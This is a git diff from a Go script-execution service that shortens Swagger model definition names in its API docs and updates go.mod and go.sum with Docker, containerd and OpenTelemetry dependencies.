"details": { @@ -698,12 +735,12 @@ "validation_errors": { "type": "array", "items": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ValidationError" + "$ref": "#/definitions/models.ValidationError" } } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus": { + "models.ExecutionStatus": { "type": "string", "enum": [ "pending", @@ -722,11 +759,11 @@ "ExecutionStatusCancelled" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.JSONB": { + "models.JSONB": { "type": "object", "additionalProperties": true }, - "github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest": { + "models.LoginRequest": { "type": "object", "required": [ "email", @@ -741,7 +778,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest": { + "models.RefreshTokenRequest": { "type": "object", "required": [ "refresh_token" @@ -752,7 +789,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest": { + "models.RegisterRequest": { "type": "object", "required": [ "email", @@ -774,7 +811,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ScriptType": { + "models.ScriptType": { "type": "string", "enum": [ "python", @@ -789,7 +826,7 @@ "ScriptTypeGo" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse": { + "models.TaskExecutionResponse": { "type": "object", "properties": { "completed_at": { @@ -814,7 +851,7 @@ "type": "string" }, "status": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus" + "$ref": "#/definitions/models.ExecutionStatus" }, "stderr": { "type": "string" @@ -827,7 +864,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse": { + "models.TaskListResponse": { "type": "object", "properties": { "limit": { @@ -839,7 +876,7 @@ "tasks": { "type": "array", "items": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "total": { @@ -847,7 +884,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse": { + "models.TaskResponse": { "type": "object", "properties": { "created_at": { @@ -860,7 +897,7 @@ "type": "string" }, "metadata": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB" + "$ref": "#/definitions/models.JSONB" }, "name": { "type": "string" @@ -872,10 +909,10 @@ "type": "string" }, "script_type": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType" + "$ref": "#/definitions/models.ScriptType" }, "status": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus" + "$ref": "#/definitions/models.TaskStatus" }, "timeout_seconds": { "type": "integer" @@ -888,7 +925,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus": { + "models.TaskStatus": { "type": "string", "enum": [ "pending", @@ -907,7 +944,7 @@ "TaskStatusCancelled" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.UserResponse": { + "models.UserResponse": { "type": "object", "properties": { "created_at": { @@ -927,7 +964,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ValidationError": { + "models.ValidationError": { "type": "object", "properties": { "field": { @@ -943,43 +980,6 @@ "type": "string" } } - }, - "internal_api_handlers.HealthResponse": { - "type": "object", - "properties": { - "service": { - "type": "string" - }, - "status": { - "type": "string" - }, - "timestamp": { - "type": "string" - }, - "uptime": { - "type": "string" - }, - "version": { - "type": "string" - } - } - }, - "internal_api_handlers.ReadinessResponse": { - "type": "object", - "properties": { - "checks": { - "type": "object", - "additionalProperties": { - "type": "string" - } - }, - "status": { - "type": "string" - }, - "timestamp": { - "type": "string" - } - } } }, "securityDefinitions": { diff --git a/docs/swagger.yaml b/docs/swagger.yaml index 0ea594b..c0d74c1 100644 --- a/docs/swagger.yaml +++ b/docs/swagger.yaml @@ -1,6 +1,30 @@ basePath: /api/v1 definitions: - github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse: + handlers.HealthResponse: + properties: + service: + type: string + status: + type: string + timestamp: + type: string + uptime: + type: string + version: + type: string + type: object + handlers.ReadinessResponse: + properties: + checks: + additionalProperties: + type: string + type: object + status: + type: string + timestamp: + type: string + type: object + models.AuthResponse: properties: access_token: type: string @@ -11,15 +35,15 @@ definitions: token_type: type: string user: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse' + $ref: '#/definitions/models.UserResponse' type: object - github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest: + models.CreateTaskRequest: properties: description: maxLength: 1000 type: string metadata: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB' + $ref: '#/definitions/models.JSONB' name: maxLength: 255 minLength: 1 @@ -33,7 +57,7 @@ definitions: minLength: 1 type: string script_type: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType' + $ref: '#/definitions/models.ScriptType' timeout_seconds: maximum: 3600 minimum: 1 @@ -43,7 +67,7 @@ definitions: - script_content - script_type type: object - github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse: + models.ErrorResponse: properties: details: type: string @@ -51,10 +75,10 @@ definitions: type: string validation_errors: items: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ValidationError' + $ref: '#/definitions/models.ValidationError' type: array type: object - github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus: + models.ExecutionStatus: enum: - pending - running @@ -70,10 +94,10 @@ definitions: - ExecutionStatusFailed - ExecutionStatusTimeout - ExecutionStatusCancelled - github_com_voidrunnerhq_voidrunner_internal_models.JSONB: + models.JSONB: additionalProperties: true type: object - github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest: + models.LoginRequest: properties: email: type: string @@ -83,14 +107,14 @@ definitions: - email - password type: object - github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest: + models.RefreshTokenRequest: properties: refresh_token: type: string required: - refresh_token type: object - github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest: + models.RegisterRequest: properties: email: type: string @@ -106,7 +130,7 @@ definitions: - name - password type: object - github_com_voidrunnerhq_voidrunner_internal_models.ScriptType: + models.ScriptType: enum: - python - javascript @@ -118,7 +142,7 @@ definitions: - ScriptTypeJavaScript - ScriptTypeBash - ScriptTypeGo - github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse: + models.TaskExecutionResponse: properties: completed_at: type: string @@ -135,7 +159,7 @@ definitions: started_at: type: string status: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus' + $ref: '#/definitions/models.ExecutionStatus' stderr: type: string stdout: @@ -143,7 +167,7 @@ definitions: task_id: type: string type: object - github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse: + models.TaskListResponse: properties: limit: type: integer @@ -151,12 +175,12 @@ definitions: type: integer tasks: items: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse' + $ref: '#/definitions/models.TaskResponse' type: array total: type: integer type: object - github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse: + models.TaskResponse: properties: created_at: type: string @@ -165,7 +189,7 @@ definitions: id: type: string metadata: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB' + $ref: '#/definitions/models.JSONB' name: type: string priority: @@ -173,9 +197,9 @@ definitions: script_content: type: string script_type: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType' + $ref: '#/definitions/models.ScriptType' status: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus' + $ref: '#/definitions/models.TaskStatus' timeout_seconds: type: integer updated_at: @@ -183,7 +207,7 @@ definitions: user_id: type: string type: object - github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus: + models.TaskStatus: enum: - pending - running @@ -199,7 +223,7 @@ definitions: - TaskStatusFailed - TaskStatusTimeout - TaskStatusCancelled - github_com_voidrunnerhq_voidrunner_internal_models.UserResponse: + models.UserResponse: properties: created_at: type: string @@ -212,7 +236,7 @@ definitions: updated_at: type: string type: object - github_com_voidrunnerhq_voidrunner_internal_models.ValidationError: + models.ValidationError: properties: field: type: string @@ -223,30 +247,6 @@ definitions: value: type: string type: object - internal_api_handlers.HealthResponse: - properties: - service: - type: string - status: - type: string - timestamp: - type: string - uptime: - type: string - version: - type: string - type: object - internal_api_handlers.ReadinessResponse: - properties: - checks: - additionalProperties: - type: string - type: object - status: - type: string - timestamp: - type: string - type: object host: localhost:8080 info: contact: @@ -287,26 +287,26 @@ paths: name: request required: true schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest' + $ref: '#/definitions/models.LoginRequest' produces: - application/json responses: "200": description: Login successful schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse' + $ref: '#/definitions/models.AuthResponse' "400": description: Invalid request format or validation error schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Invalid credentials schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' summary: Authenticate user tags: - Authentication @@ -339,12 +339,12 @@ paths: description: User information retrieved successfully schema: additionalProperties: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse' + $ref: '#/definitions/models.UserResponse' type: object "401": description: Unauthorized schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' security: - BearerAuth: [] summary: Get current user @@ -361,26 +361,26 @@ paths: name: request required: true schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest' + $ref: '#/definitions/models.RefreshTokenRequest' produces: - application/json responses: "200": description: Token refreshed successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse' + $ref: '#/definitions/models.AuthResponse' "400": description: Invalid request format schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Invalid refresh token schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' summary: Refresh access token tags: - Authentication @@ -395,26 +395,26 @@ paths: name: request required: true schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest' + $ref: '#/definitions/models.RegisterRequest' produces: - application/json responses: "201": description: User registered successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse' + $ref: '#/definitions/models.AuthResponse' "400": description: Invalid request format or validation error schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "409": description: User already exists schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' summary: Register a new user tags: - Authentication @@ -467,7 +467,7 @@ paths: "200": description: Service is healthy schema: - $ref: '#/definitions/internal_api_handlers.HealthResponse' + $ref: '#/definitions/handlers.HealthResponse' summary: Health check tags: - Health @@ -482,11 +482,11 @@ paths: "200": description: Service is ready schema: - $ref: '#/definitions/internal_api_handlers.ReadinessResponse' + $ref: '#/definitions/handlers.ReadinessResponse' "503": description: Service is not ready schema: - $ref: '#/definitions/internal_api_handlers.ReadinessResponse' + $ref: '#/definitions/handlers.ReadinessResponse' summary: Readiness check tags: - Health @@ -513,19 +513,19 @@ paths: "200": description: Tasks retrieved successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse' + $ref: '#/definitions/models.TaskListResponse' "400": description: Invalid query parameters schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Unauthorized schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' security: - BearerAuth: [] summary: List user's tasks @@ -541,26 +541,26 @@ paths: name: request required: true schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest' + $ref: '#/definitions/models.CreateTaskRequest' produces: - application/json responses: "201": description: Task created successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse' + $ref: '#/definitions/models.TaskResponse' "400": description: Invalid request format or validation error schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Unauthorized schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' security: - BearerAuth: [] summary: Create a new task @@ -583,27 +583,27 @@ paths: "200": description: Task retrieved successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse' + $ref: '#/definitions/models.TaskResponse' "400": description: Invalid task ID schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Unauthorized schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "403": description: Forbidden schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "404": description: Task not found schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' security: - BearerAuth: [] summary: Get task details @@ -626,31 +626,31 @@ paths: "201": description: Execution started successfully schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse' + $ref: '#/definitions/models.TaskExecutionResponse' "400": description: Invalid task ID schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "401": description: Unauthorized schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "403": description: Forbidden schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "404": description: Task not found schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "409": description: Task is already running schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' "429": description: Rate limit exceeded schema: - $ref: '#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse' + $ref: '#/definitions/models.ErrorResponse' security: - BearerAuth: [] summary: Start task execution diff --git a/go.mod b/go.mod index 035d79c..fd29e99 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,8 @@ module github.com/voidrunnerhq/voidrunner go 1.24.4 require ( + github.com/containerd/errdefs v1.0.0 + github.com/docker/docker v28.3.2+incompatible github.com/gin-contrib/cors v1.7.6 github.com/gin-gonic/gin v1.10.1 github.com/go-playground/validator/v10 v10.27.0 @@ -20,13 +22,21 @@ require ( require ( github.com/KyleBanks/depth v1.2.1 // indirect + github.com/Microsoft/go-winio v0.6.2 // indirect github.com/bytedance/sonic v1.13.3 // indirect github.com/bytedance/sonic/loader v0.2.4 // indirect github.com/cloudwego/base64x v0.1.5 // indirect + github.com/containerd/errdefs/pkg v0.3.0 // indirect + github.com/containerd/log v0.1.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect - github.com/docker/docker v28.0.1+incompatible // indirect + github.com/distribution/reference v0.6.0 // indirect + github.com/docker/go-connections v0.5.0 // indirect + github.com/docker/go-units v0.5.0 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect github.com/gabriel-vasile/mimetype v1.4.9 // indirect github.com/gin-contrib/sse v1.1.0 // indirect + github.com/go-logr/logr v1.4.3 // indirect + github.com/go-logr/stdr v1.2.2 // indirect github.com/go-openapi/jsonpointer v0.21.1 // indirect github.com/go-openapi/jsonreference v0.21.0 // indirect github.com/go-openapi/spec v0.21.0 // indirect @@ -34,6 +44,7 @@ require ( github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/goccy/go-json v0.10.5 // indirect + github.com/gogo/protobuf v1.3.2 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/jackc/pgpassfile v1.0.0 // indirect @@ -46,17 +57,25 @@ require ( github.com/lib/pq v1.10.9 // indirect github.com/mailru/easyjson v0.9.0 // indirect github.com/mattn/go-isatty v0.0.20 // indirect + github.com/moby/docker-image-spec v1.3.1 // indirect + github.com/moby/sys/atomicwriter v0.1.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/pelletier/go-toml/v2 v2.2.4 // indirect + github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stretchr/objx v0.5.2 // indirect github.com/twitchyliquid64/golang-asm v0.15.1 // indirect github.com/ugorji/go/codec v1.3.0 // indirect - go.opentelemetry.io/otel/metric v1.35.0 // indirect - go.opentelemetry.io/otel/trace v1.35.0 // indirect + go.opentelemetry.io/auto/sdk v1.1.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0 // indirect + go.opentelemetry.io/otel v1.37.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.37.0 // indirect + go.opentelemetry.io/otel/metric v1.37.0 // indirect + go.opentelemetry.io/otel/sdk v1.37.0 // indirect + go.opentelemetry.io/otel/trace v1.37.0 // indirect go.uber.org/atomic v1.11.0 // indirect golang.org/x/arch v0.18.0 // indirect golang.org/x/net v0.41.0 // indirect @@ -66,4 +85,5 @@ require ( golang.org/x/tools v0.34.0 // indirect google.golang.org/protobuf v1.36.6 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect + gotest.tools/v3 v3.5.2 // indirect ) diff --git a/go.sum b/go.sum index f393674..5502480 100644 --- a/go.sum +++ b/go.sum @@ -9,9 +9,17 @@ github.com/bytedance/sonic v1.13.3/go.mod h1:o68xyaF9u2gvVBuGHPlUVCy+ZfmNNO5ETf1 github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/bytedance/sonic/loader v0.2.4 h1:ZWCw4stuXUsn1/+zQDqeE7JKP+QO47tz7QCNan80NzY= github.com/bytedance/sonic/loader v0.2.4/go.mod h1:N8A3vUdtUebEY2/VQC0MyhYeKUFosQU6FxH2JmUe6VI= +github.com/cenkalti/backoff/v5 v5.0.2 h1:rIfFVxEf1QsI7E1ZHfp/B4DF/6QBAUhmgkxc0H7Zss8= +github.com/cenkalti/backoff/v5 v5.0.2/go.mod h1:rkhZdG3JZukswDf7f0cwqPNk4K0sa+F97BxZthm/crw= github.com/cloudwego/base64x v0.1.5 h1:XPciSp1xaq2VCSt6lF0phncD4koWyULpl5bUxbfCyP4= github.com/cloudwego/base64x v0.1.5/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= +github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= +github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M= +github.com/containerd/errdefs/pkg v0.3.0 h1:9IKJ06FvyNlexW690DXuQNx2KA2cUJXx151Xdx3ZPPE= +github.com/containerd/errdefs/pkg v0.3.0/go.mod h1:NJw6s9HwNuRhnjJhM7pylWwMyAkmCQvQ4GpJHEqRLVk= +github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= +github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -19,8 +27,8 @@ github.com/dhui/dktest v0.4.5 h1:uUfYBIVREmj/Rw6MvgmqNAYzTiKOHJak+enB5Di73MM= github.com/dhui/dktest v0.4.5/go.mod h1:tmcyeHDKagvlDrz7gDKq4UAJOLIfVZYkfD5OnHDwcCo= github.com/distribution/reference v0.6.0 h1:0IXCQ5g4/QMHHkarYzh5l+u8T3t73zM5QvfrDyIgxBk= github.com/distribution/reference v0.6.0/go.mod h1:BbU0aIcezP1/5jX/8MP0YiH4SdvB5Y4f/wlDRiLyi3E= -github.com/docker/docker v28.0.1+incompatible h1:FCHjSRdXhNRFjlHMTv4jUNlIBbTeRjrWfeFuJp7jpo0= -github.com/docker/docker v28.0.1+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= +github.com/docker/docker v28.3.2+incompatible h1:wn66NJ6pWB1vBZIilP8G3qQPqHy5XymfYn5vsqeA5oA= +github.com/docker/docker v28.3.2+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= github.com/docker/go-connections v0.5.0 h1:USnMq7hx7gwdVZq1L49hLXaFtUdTADjXGp+uj1Br63c= github.com/docker/go-connections v0.5.0/go.mod h1:ov60Kzw0kKElRwhNs9UlUHAE/F9Fe6GLaXnqyDdmEXc= github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= @@ -37,8 +45,9 @@ github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM= github.com/gin-gonic/gin v1.10.1 h1:T0ujvqyCSqRopADpgPgiTT63DUQVSfojyME59Ei63pQ= github.com/gin-gonic/gin v1.10.1/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= -github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= -github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= +github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-openapi/jsonpointer v0.21.1 h1:whnzv/pNXtK2FbX/W9yJfRmE2gsmkfahjMKB0fZvcic= @@ -70,6 +79,8 @@ github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.1 h1:X5VWvz21y3gzm9Nw/kaUeku/1+uBhcekkmy4IkffJww= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.1/go.mod h1:Zanoh4+gvIgluNqcfMVTJueD4wSS5hT7zTt4Mrutd90= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -89,6 +100,8 @@ github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8Hm github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/klauspost/cpuid/v2 v2.2.11 h1:0OwqZRYI2rFrjS4kvkDnqJkKHdHaRnCm68/DY4OxRzU= github.com/klauspost/cpuid/v2 v2.2.11/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= @@ -107,6 +120,10 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= +github.com/moby/sys/atomicwriter v0.1.0 h1:kw5D/EqkBwsBFi0ss9v1VG3wIkVhzGvLklJ+w3A14Sw= +github.com/moby/sys/atomicwriter v0.1.0/go.mod h1:Ul8oqv2ZMNHOceF643P6FKPXeCmYtlQMvpizfsSoaWs= +github.com/moby/sys/sequential v0.6.0 h1:qrx7XFUd/5DxtqcoH1h438hF5TmOvzC/lspjy7zgvCU= +github.com/moby/sys/sequential v0.6.0/go.mod h1:uyv8EUTrca5PnDsdMGXhZe6CCe8U/UiTWd+lL+7b/Ko= github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -128,6 +145,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= 